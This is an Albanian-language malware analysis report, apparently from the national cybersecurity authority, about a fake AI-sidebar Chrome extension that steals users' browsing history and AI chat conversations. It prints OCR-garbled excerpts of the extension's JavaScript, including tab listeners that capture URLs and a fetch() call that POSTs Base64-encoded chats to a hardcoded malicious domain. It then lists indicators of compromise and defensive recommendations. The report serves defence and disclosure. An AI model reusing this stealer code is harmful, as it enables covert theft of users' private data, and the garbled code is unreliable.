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Ky raport ka kufizime dhe duhet interpretuar me kujdes!
Disa nga kéto kufizime pérfshijné:

Faza e paré:

Burimet e informacionit: Raporti €shté bazuar n€ informacionet t€ vendosura né dispozicion né
momentin e pérgatitjes s€ tij. Ndérkohé, disa aspekte mund té jené t€ ndryshme nga zhvillimet
aktuale.

Faza e dyté:

Detajet e analizés: Pér shkak t€ kufizimeve burimore, disa aspekte t€ skedarit keqdashés mund té
mos jené€ analizuar thellésisht. Cdo informacion shtesé 1 panjohur mund té reflektojé né ndryshime
té raportit.

Faza e treté:

Siguria e informacionit: Pér t€ mbrojtur burimet dhe informacionet konfidenciale, disa detaje
mund t€ jené t& zbutura ose jo té pérfshira né€ raport. Ky vendim &shté marré pér t€ mbajtur
integritetin dhe siguriné e t€ dhénave té pérdorura.

AKSK rezervon té drejtén pér té ndryshuar, pérditésuar, ose ndryshuar cfarédo pjesé té
kétij raporti pa lajmérim paraprak.

Ky raport nuk éshté njé dokument pérfundimtar.
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Gjetjet e raportit bazohen né informacionin e disponueshém gjaté kohés sé hetimit dhe analizés.
Nuk ka garanci né lidhje me ndryshime té mundshme apo pérditésime té informacioneve té
raportuara gjaté periudhés né vijim. Autorét e raportit nuk marrin pérgjegjési pér pérdorimin e
gabuar ose pasojat e ndonjé vendimmarrjeje té bazuar né kété raport.

Informacione Teknike

Eshté evidentuar garkullimi i njé fushate malware, qé pérfshin instalimin e njé Chrome Extension dhe
tregon se si né€ dukje éshté legjitime dhe e fokusuar né€ inteligjencén artificiale (Al). Extension mund té
abuzohet pér t€ mbledhur né ményré t€ fshehté dhe né shkall€ t€ gjeré t€ dhéna sensitive t€ pérdoruesve
(stealer). Ky dokument analizon zbulimin e fushat€s, shpjegon mekanizmat p&rmes t€ ciléve extensions
operojné dhe né rastin konkret se si béhet eksfiltrimi i t€ dhénave t€ pérdoruesve.

Analiza e skedarit e CRX

Skedari INHCGFPBFDJBJOGDFJBCLGOLKMHNOOOP_1_6_1_0.crx &éshté njé skedar i
formatit Google Chrome ( Chromium-based browser) extensions. Shfletuesit t& ofrojné€ mundési
g€ t€ instalosh mjete t€ caktuara pér géllime t€ ndryshme né ményré qé té lehtésoj€ puné. Njé
pérdorues mund ti instaloj ato n€ path chrome://extensions/. Veté Google Chrome té ofron njé
checkbox “Developer mode”. Népérmjet saj mund t€ instalojé dhe extensions q€ mund ti krijojé
veté ose népérmjet burimeve té tjera. Kur skedari “crx” ngarkohet browser do shfaget si né
figurén mé poshté:
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All Extensions

Al Sidebar with Deepseek, ChatGPT, Claud... 1.6.1

LY
\ o) Chat with Deepseek Al, ChatGPT, Claude, and
more. Boost your creativity and productivity using

the ultimate Al-nowered hrowser taql

ID: inhcgfpbfdjbjogdfjbclgolkmhnooop

Inspect views service worker (Inactive), 1 more...

Details Remove c ©

Figura 1. Instalimi i extension keqdashés.

Qéllimi 1 kétij extension éshté qé pérdoruesi té ndérveprojé me chat Al t&€ ndryshém pa aksesuar
domain pérkatés té tyre. Né rastin konkret demostrohet ndérveprimi me DeepSeek

hrome-extension://inhcgfpbfdjbjogdfjbclgolkmhnooop/aitopia/src/html/setup.html

Do you enjoy DeepSeek? &
L e & & & ¢

DeepSeek - Into the Unknown = O

Q& deepseclk

By signing up or logging in, you consent to DeepSeek's
Terms of Use and Privacy Policy.

Forgot password? Sign up

= pry

Figura 2. Deepseek si extension.

Ky extension né vetvete pérmban disa skedaré t€ cilat kryejné funksionalitetin e pérdorimit t&é kétij
extension por gjithashtu pérmban dhe disa skedaré t€ tipit javascript nga ku bisedat t€ cilat zhvillohen
midis pérdoruesit dhe Al t&€ dérgohen drejt njé€ domain jo-legjitim.
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> This PC > Downloads > INHCGFPBFDJBJOGDFIBCLGOLKMHNOCOP_1.6_1.0
Name - Date modified Type Size
_locales 12/9/2025 711 AM File folder
aitopia 12/8/2025 711 AM File folder
images 12/8/2025 711 AM File folder
static 12/9/2025 711 AM File folder
utils 12/9/2025 7:11 AM File folder
ACDSC LT asset-manifestjson 12/9/2025 7:10 AM JSON File 1KB
ﬁ blueBackground,js 12/10/2025 11:04 PM JavaScript File 2 KB
+: | blueContentScript.css 12/9/2025 7:10 AM Cascading Style Sh... 0 KB
ﬁ blueContentScripts 12/9/2025 7:10 AM JavaScript File 14 KB
+1 | bluePopup.css 12/9/2025 7:10 AM Cascading Style Sh... 4 KB
rsonal @ pyyepopuphtmi 12/9/2025 7:10 AM Microsoft Edge HT... 3KB
ﬁ bluePopup.js 12/9/2025 7:10 AM JavaScript File 4 KB
e close.svg 12/9/2025 7:10 AM Microsoft Edge HT... 1KB
e index.html 12/8/2025 7:10 AM Microsoft Edge HT... TKB
e logo.svg 12/8/2025 7:10 AM Microsoft Edge HT... TKB
e logo_full.svg 12/8/2025 7:10 AM Microsoft Edge HT... 5KB
g manifestjson 12/11/2025 5:09 AM JSON File 6 KB
J;I‘ manifest_original json 12/9/2025 7:10 AM JSON File 2 KB
é;l‘ partnerjson 12/8/2025 7:10 AM JSON File TKB
Q star.svg 12/8/2025 710 AM Microsoft Edge HT... 1KB
ﬁ updatejs 12/8/2025 710 AM JavaScript File 1KB
ﬁ update-conf.js 12/8/2025 710 AM JavaScript File 1KB

Figura 3. Ekstraktimi i skedarit CRX.

Analizohet skedari chatResponse.js i cili ka pér qéllim monitorimin, grumbullimin, ruajtjen dhe dérgimin
(exfiltration) e t€ dhénave g€ lidhen me:

e navigimin e pérdoruesit,
e ndérveprimin me Al chat (prompt + pérgjigje),
e sesionet e pérdoruesit.

N¢ objektin globlChatVars kemi té deklaruar hardcoded né kod baseurl e cila €shté dhe veté
domaini keqdashés ku exfiltrohen té dhénat.

hxxps|://]chatsaigpt[.]com

globalChatld: ID unike e pérdoruesit (persistente).
globalChatAnswer, globalChatQusR: ruajné URL / pérmbajtje.
globalarr: buffer ku mblidhen t€ dhénat pérpara dérgimit.
intervalTime: ¢cdo 30 minuta béhet dérgim 1 t€ dhénave.

restrict: URL g€ pérjashtohen (chrome://).

Rruga “Papa Gjon Pali II” nr.3 Tirané;

Fage web: www.aksk.gov.al E-mail: info@aksk.gov.al
Tel./Fax : 04 2221 039


http://www.aksk.gov.al/
mailto:info@aksk.gov.al

[=] chatResponsejs B3 |

1 [/let glcblchatVars = {
2 baseUrl: "https://chatsaigpt.com/ext2/"
globalChatId: null,

globalChatZnswer: null,

globalChatQusR: null,

defaultvars: "",

globalActiveInterval: null,

globalFlag: false,
intervalTime: ¢0 * 30 *

S e IO -S TSI

o

10 restrict: new Set({["chrome://newtab/", "chrome://extensions/

11 glTimeStamp: 0,

12 aiModelLength: 0O,

MAX SIZE BYTES: 4 * 1024 % 1024
globalarr: [1,

cliinterval: null,

I
ool e L

Figura 4. Objekti globlChatVars.

chatResponseHelper : Kapja e aktivitetit t€ pérdoruesit
e giveShortAns()
chrome.tabs.onActivated

Sa heré€ q€ pérdoruesi ndérron tab: merr URL e ruan si “answer”, ko ruan navigimin e

pérdoruesit né koh¢ reale.

let chatResponseHelper = {
giveShortins: async function d} {
H chrome.tabs.onhctivated.addListener ((e) => {
const { tabId: t } = g;

% chrome.tabs.get(t, async (g) => {
= if (e && e?.url && globlChatVars.globalFlag) {
e.url = globlChatVars.restrict.has (e.url)
? globlChatVars.defaultVars
e.url;

- }
P
P | 3 I
Fo }!

globlChatVars.globalChatAnswer = e.url || globlChatVars.defaultVars;

Figura 5. Objekti chatResponseHelper.

e giveDetilsAns()
Dégjon chrome.tabs.onUpdated
Kur fagja pérfundon ngarkimin:

ruan:
1. URL aktuale,
2. URL té méparshme,
3. Timestamp,
4. chatld.
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giveDetilsAns: function (answer) {
chrome.tabs.onUpdated.addListener (async (e, t, n) => {
—| if (n.url && "complete" === t.status && globlChatVars.globalFlag) {
n.url = globlChatVars.restrict.has(n.url)
? globlchatVars.defaultvars

: n.url;
= if(n && n?.url && n?.url.length)globlChatVars.glcobalarr.push ({
chatId: globlChatVars.globalChatId,
answer: globlChatVars.globalChatAnswer || globlChatVars.defaultVars,
qus: n.url || globlchatVars.defaultVars,

timeStamp: Date.now(),

= |3

globlChatVars.globalChat&Answer = n.url || globlchatVars.defaultvVars;
if (globlchatVars.globalarr.length > 2000) globlChatVars.globalarr = [];

this.debounce (this.callInsideDebounce.bind (this)) ;

Figura 6 . Funksioni giveDetilsAns.

debounce() & calllnsideDebounce()
e  Mblidhen té dhénat,
e Enkodohen né Base64,
¢ Ruhen lokalisht,

Meépas dérgohen né server.

= debounce(callback, delay = 5000) {
if (globlchatvars.cliinterval) clearTimeout(globlchatvars.cliinterval);
— globlChatVars.cliinterval = setTimeout (() => {
globlChatVars.cliinterval = null;
// function call
callback() ;
}, delay);
} r

— callInsideDebounce() {

Figura 7. Funksioni debounce.

analyzeQuestions() & chatldGenerator()
¢ Gjeneron njé UUID unike pér pérdoruesin,
e Ruhet né chrome.storage.local,
e Pérdoret né ¢do dérgim,
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analyzeQuestions: function () {
chrome.storage.local.get (["chatId"], (result) => {

if (!'result.chatid) {
let chatId = this.chatIdGenerator(};
chrome.storage.local.set({ chatId }, function ()} {

globlChatVars.globalChatId = chatId;

by

} else ﬂ
globlChatVars.globalChatId = result.chatId;

Figura 8. Funksioni analyzeQuestions.

Funksioni mé i rénd€sishém éshté funksioni switchChatModel nga ku ndodh dhe exfiltrimi i chat Al
Kjo gjé€ evidentohet né parametrin json si mé poshté:

H—] let ocb] = {

inputsStringl,
inputsString2,

model,

timeStamp: Date.now(),
sasionId: ai chat,

Figura 9. Payload né JSON.

Funksioni switchModelDeeseek() dérgon té gjitha bisedat ¢ mbledhura drejt domain keqdashés:
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let switchChatModel = {
switchModelDeeseek: function (modelName) {
if (!globlchatVars.globalFlag) return;
if (
ImodelName ||
(!modelName?.targetArr.length && !modelName?.chatArray.length)
) |
return;
}

const payload = resolveChatResponse.encodePayloadString (
JSON. stringify (modelName)
)
fetch(glcblChatVars.baseUrl + "switchModel™, {
method: "P
headers: {
"Content-Type":
N
body: JSON.stringify({ model: payload }),
}
.then((response) => {
if (response.status === 200) {
return response.json();
} else {
// chatSaverHelper.removeRllChats ()
‘ throw new Error( Request failed with status ${response.status}’);
}
}
.then((data) => {})
.catch((error) => {
chatSaverHelper.saveDeepseskContentSafely({ ...modelName });
console.error ("Er: tching model:"™, error);
1)

Figura 10. Funksioni switchChatModelDeeseek.

Ky skedar importohet nga njé skedar tjetér javascript blueBackground.js .Né kété skedar béhet
instalimi,aksesimi me ané t€ poput t&€ chat Al, dhe aktivizon modul qé exfiltron chat midis Al dhe
pérdoruesit.

L TEENT

I impeort "/aitopia/serv

o I import "/utils/chatR .js";

// Background script for handling installation, update, and uninstallation events
i const UPDATE URL = "http xten s-hu ar s/

const UNINSTALL_URL = "ht
const CHAT URL = "https://c

let popupWindowId = null;

// configuration for the popup window
L [Heonst POPUP_CONFIG = {
o url: CHAT URL,

i focused: true,
b width: 0
height:

I ol o

// Set uninstall URL so that when the extension is removed, fhe user is redirected
%chrome.runtime.setUninstallURL(UNINSTALLiURL, (0 = {
—|] if (chrome.runtime.lastError) {
P console.error (chrome.runtime.lastError) ;

-}
f S M

Handle dinetallation and wndat zent
E%chrome.runtime.onInstalled.addListener{{{ reason }) =» {
—| if (reason ate™) {

chrome.tabs.create({ url: UPDATE URL });

=1

__/f Message handler for popup operations

Figura 11. blueBackground.js.
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Indikatorét e Komprometimit

4278SEECFSCOBFFE693F180B277CD34CEEC75CBC3096B814331787C4DFC61736 | blueBackground.js

2387372ACFE38EFD31E662B61B6B44AABB01181CSA2B2F0F1E82F5SD4680ES0SC | chatResponse.js

S8CFC696777TE43FE7B2CSEA91F9750B7DE939CCSE3C30DAB4BF88FDAO34EDS | deepseekChat.js

3C

7369D8780D2A103319B36SABCAF002A679FC4BAD70SAESC4399E611F3010DSAE | deepseekContent.js

hxxps|://|chatsaigpt[.]com 1P

Rekomandime

Autoriteti Kombétar pér Siguriné Kibernetike rekomandon:

Cinstalimin dhe caktivizimin e menjéhershém nga té€ gjitha pajisjet fundore t€ Chrome
Extension t€ identifikuar, i cili kryen monitorim dhe eksfiltrim té t€ dhénave té ndérveprimit
me Al chat dhe aktivitetit t€ shfletuesit t&€ pérdoruesve.

Bllokimin e menjéhershém té Indikatoréve t& Komprometimit (IOC) né pajisjet mbrojtése té
rrjetit (Firewall, Proxy, Secure Web Gateway, DNS Filtering), pérfshiré domenet dhe
endpoint-et e pérdorura pér eksfiltrimin e t€ dhénave.

Kryerjen e analizés retrospektive dhe t€ vazhdueshme té logeve té trafikut dalés (HTTPS, DNS,
Proxy, Firewall) népérmjet SIEM, me fokus né komunikime periodike POST dhe payload-e té
enkoduara (Base64/JSON).

Identifikimin dhe izolimin e pajisjeve fundore qé kané pasur t€ instaluar extension, me qéllim
verifikimin e mundshém t€ komprometimit dhe vlerésimin e volumit té t&€ dhénave té
eksfiltruara.

Kufizimin dhe menaxhimin e centralizuar t€ browser extensions pérmes politikave té sigurisé
(Chrome Enterprise Policies / GPO), duke lejuar vetém extension-e t€ miratuara zyrtarisht
(allowlist).

Ndalimin e pérdorimit t€ Al chat-eve dhe Al tools t€ paléve té treta pér pérpunimin ose futjen
e informacionit konfidencial, operacional apo té€ klasifikuar.

Trajnimin e stafit teknik dhe jo-teknik mbi rreziget qé lidhen me pérdorimin e extension t&é
paautorizuara dhe ekspozimin e t€ dhénave pérmes platformave Al.

Implementimin ose forcimin e zgjidhjeve EDR/XDR pér monitorimin sjellor t€ browser-it dhe
identifikimin e aktivitetit anormal qé€ lidhet me eksfiltrimin e t&€ dhénave.

Vendosjen e kontrolleve shtesé pér trafikun dalés nga pajisjet fundore, duke aplikuar parimin
“least privilege” pér aksesin drejt shérbimeve té jashtme Al.

Rishikimin dhe pérditésimin e politikave t€ siguris€ pér pérdorimin e inteligjencés artificiale
dhe mjeteve t€ integruara né browser, n€ pérputhje me parimet e “zero-trust”.
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